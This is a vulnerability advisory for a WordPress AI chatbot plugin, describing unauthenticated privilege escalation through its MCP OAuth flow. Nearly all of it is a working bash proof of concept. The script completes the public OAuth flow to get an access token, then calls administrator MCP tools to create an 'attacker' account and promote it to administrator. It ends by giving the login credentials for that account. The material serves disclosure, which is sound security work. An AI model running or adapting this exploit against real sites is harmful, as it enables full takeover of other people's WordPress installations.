AI Chatbot & Workflow Automation by AIWU < 1.5.4 – Unauthenticated Privilege Escalation via MCP OAuth | CVE 2026-9810

Description

The plugin does not bind OAuth access tokens to a WordPress user, and accepts any valid token as an administrator session, allowing unauthenticated attackers who complete the public OAuth flow to execute privileged MCP tools as an administrator, including arbitrary user creation and role escalation.

Proof of Concept

## Environment preparation

1. Install and activate the plugin at version 1.4.21.
2. As administrator, open **AI Copilot > Settings > MCP** and:
   - Enable **MCP**.
   - Set any non-empty **Access Token**.
   - Enable **OAuth 2.1**.

The three switches above are the plugin's intended MCP setup, exposed through the standard settings UI; no other configuration is required.

## Reproduction (all requests are unauthenticated)

```bash
SITE="https://victim.example"
CLIENT_ID="anon-client"
REDIRECT_URI="$SITE"

# PKCE pair
CODE_VERIFIER=$(openssl rand -base64 96 | tr -dc 'A-Za-z0-9-._~' | head -c 64)
CODE_CHALLENGE=$(printf '%s' "$CODE_VERIFIER" | openssl dgst -sha256 -binary | openssl base64 -A | tr '+/' '-_' | tr -d '=')

# 1) Public OAuth authorize page returns an HTML form with an approval nonce.
AUTH_HTML=$(curl -sk -G "$SITE/wp-json/mcp/v1/oauth/authorize" \
  --data-urlencode "client_id=$CLIENT_ID" \
  --data-urlencode "redirect_uri=$REDIRECT_URI" \
  --data-urlencode "response_type=code" \
  --data-urlencode "scope=mcp" \
  --data-urlencode "code_challenge=$CODE_CHALLENGE" \
  --data-urlencode "code_challenge_method=S256")
NONCE=$(printf '%s' "$AUTH_HTML" | grep -oE 'name="aiwu_oauth_nonce" value="[^"]+"' | sed 's/.*value="//;s/"//')

# 2) Submit approval; capture the authorization code from the Location header.
APPROVAL_HEADERS=$(curl -sk -G -D - -o /dev/null "$SITE/wp-json/mcp/v1/oauth/authorize" \
  --data-urlencode "client_id=$CLIENT_ID" \
  --data-urlencode "redirect_uri=$REDIRECT_URI" \
  --data-urlencode "response_type=code" \
  --data-urlencode "scope=mcp" \
  --data-urlencode "code_challenge=$CODE_CHALLENGE" \
  --data-urlencode "code_challenge_method=S256" \
  --data-urlencode "aiwu_oauth_nonce=$NONCE" \
  --data-urlencode "approved=1")
CODE=$(echo "$APPROVAL_HEADERS" | tr -d '\r' | grep -i '^location:' | sed -n 's/.*[?&]code=\([^&]*\).*/\1/p')

# 3) Exchange the code for an access token.
ACCESS_TOKEN=$(curl -sk -X POST "$SITE/wp-json/mcp/v1/oauth/token" \
  -H "Content-Type: application/json" \
  -d "{\"grant_type\":\"authorization_code\",\"code\":\"$CODE\",\"redirect_uri\":\"$REDIRECT_URI\",\"code_verifier\":\"$CODE_VERIFIER\"}" \
  | jq -r '.access_token')

# 4) Call an MCP tool that requires administrator privileges - the token now runs
#    in the first administrator's session. Create an attacker-controlled subscriber.
curl -sk -X POST "$SITE/wp-json/mcp/v1/sse" \
  -H "Authorization: Bearer $ACCESS_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"jsonrpc":"2.0","method":"tools/call","params":{"name":"wp_create_user","arguments":{"user_login":"attacker","user_email":"a@example.com","user_pass":"PocPass!1","role":"subscriber"}},"id":1}'
# Response: result.content[].text contains "User created ID N"

# 5) Promote the new account to administrator using the same token.
curl -sk -X POST "$SITE/wp-json/mcp/v1/sse" \
  -H "Authorization: Bearer $ACCESS_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"jsonrpc":"2.0","method":"tools/call","params":{"name":"wp_update_user","arguments":{"ID":<NEW_ID>,"fields":{"role":"administrator"}}},"id":2}'
# Response: result.content[].text contains "User #N updated"
```

After step 5 the attacker can log in to `/wp-login.php` as the newly promoted administrator (`attacker / PocPass!1`).